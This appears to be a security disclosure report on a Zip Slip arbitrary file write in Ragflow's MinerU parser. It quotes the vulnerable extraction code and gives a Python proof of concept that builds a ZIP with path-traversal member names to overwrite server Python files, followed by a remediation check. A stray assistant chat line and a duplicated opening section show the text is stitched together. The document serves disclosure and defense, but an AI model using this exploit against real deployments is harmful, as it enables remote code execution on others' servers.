Summary

CRITICAL (CVSS 9.1) File: deepdoc/parser/mineru_parser.py Vulnerability Type: Arbitrary File Write (Zip Slip)

Critical RCE (Zip Slip): The MinerU parser contains a "Zip Slip" vulnerability, allowing an attacker to overwrite arbitrary files on the server (leading to Remote Code Execution) via a malicious ZIP archive.

The MinerUParser class retrieves and extracts ZIP files from an external source (mineru_server_url). The extraction logic in _extract_zip_no_root fails to sanitize filenames within the ZIP archive.

Details

Vulnerable Code Analysis:

deepdoc/parser/mineru_parser.py:167

The code trusts 'path' (derived from the zip member name) without validation.

full_path = os.path.join(extract_to, path)

with open(full_path, "wb") as f:
f.write(zip_ref.read(filename))

If a ZIP file contains a file named ../../../../app/login.py, Python's os.path.join resolves the traversal sequences, causing the file to be written outside the intended extraction directory.

Here is the polished, professional Vulnerability Report for Ragflow. I have formatted it to match the high standard of your previous Microsoft and Agno reports.

You can save this as Findings/Ragflow/report_ragflow.md.

Vulnerability Report: Critical RCE & SSRF in Ragflow
To: Ragflow Maintainers / Security Team From: Project Grey-Box Research Date: January 7, 2026 Target: Ragflow (Open Source RAG Engine) Affected Components: deepdoc (MinerU Parser), Invoke Agent Severity: Critical

1. Executive Summary
   A security assessment of the Ragflow project identified two significant vulnerabilities that could lead to full system compromise.

Critical RCE (Zip Slip): The MinerU parser contains a "Zip Slip" vulnerability, allowing an attacker to overwrite arbitrary files on the server (leading to Remote Code Execution) via a malicious ZIP archive.

High-Severity SSRF: The Invoke agent component allows unrestricted HTTP requests, granting attackers access to internal network services or cloud metadata credentials.

2. Detailed Findings
   [RF-01] Zip Slip Remote Code Execution (RCE) in MinerUParser
   Severity: 🚨 CRITICAL (CVSS 9.1) File: deepdoc/parser/mineru_parser.py Vulnerability Type: Arbitrary File Write (Zip Slip)

Technical Root Cause
The MinerUParser class retrieves and extracts ZIP files from an external source (mineru_server_url). The extraction logic in _extract_zip_no_root fails to sanitize filenames within the ZIP archive.

Vulnerable Code Analysis:

Python

deepdoc/parser/mineru_parser.py:167

The code trusts 'path' (derived from the zip member name) without validation.

full_path = os.path.join(extract_to, path)

with open(full_path, "wb") as f:
f.write(zip_ref.read(filename))
If a ZIP file contains a file named ../../../../app/login.py, Python's os.path.join resolves the traversal sequences, causing the file to be written outside the intended extraction directory.

Exploitation Vector (RCE)
Preparation: An attacker creates a specialized ZIP file containing a Python script named with directory traversal characters (e.g., ../../api/utils/auth.py).

Delivery: The attacker positions this file to be processed by the parser (via Man-in-the-Middle on HTTP, or by manipulating the configuration to point to an attacker-controlled server).

Execution: When Ragflow extracts the ZIP, it silently overwrites the target Python file on the server.

Trigger: The next time the application imports that module (or restarts), the attacker's code executes with the privileges of the Ragflow process.

PoC

import zipfile

def create_malicious_zip():
print("[*] Creating 'evil_mineru.zip'...")
# This path targets a file usually present in the app structure
# Goal: Overwrite a critical python file to gain execution
target_path = "../../../../ragflow/api/utils/pwned.py"

with zipfile.ZipFile("evil_mineru.zip", "w") as z:
    z.writestr(target_path, "import os; os.system('touch /tmp/rce_success')")

print("[+] Malicious ZIP created. Serve this to the MinerU parser.")

if name == "main":
create_malicious_zip()

Impact

Successful exploitation results in Arbitrary File Write. This leads to:

Remote Code Execution (RCE): By overwriting Python source files (.py), configuration files, or startup scripts.

System Sabotage: Overwriting critical system binaries or data to cause a Denial of Service (DoS).

Remediation Recommendations
Fix Zip Slip (RF-01): Modify _extract_zip_no_root to canonicalize paths before writing.

Python

Safe Extraction Pattern

dest_path = os.path.join(extract_to, filename)

Resolve symbolic links and '..' components

if not os.path.abspath(dest_path).startswith(os.path.abspath(extract_to)):
raise Exception("Blocked Zip Slip Attempt!")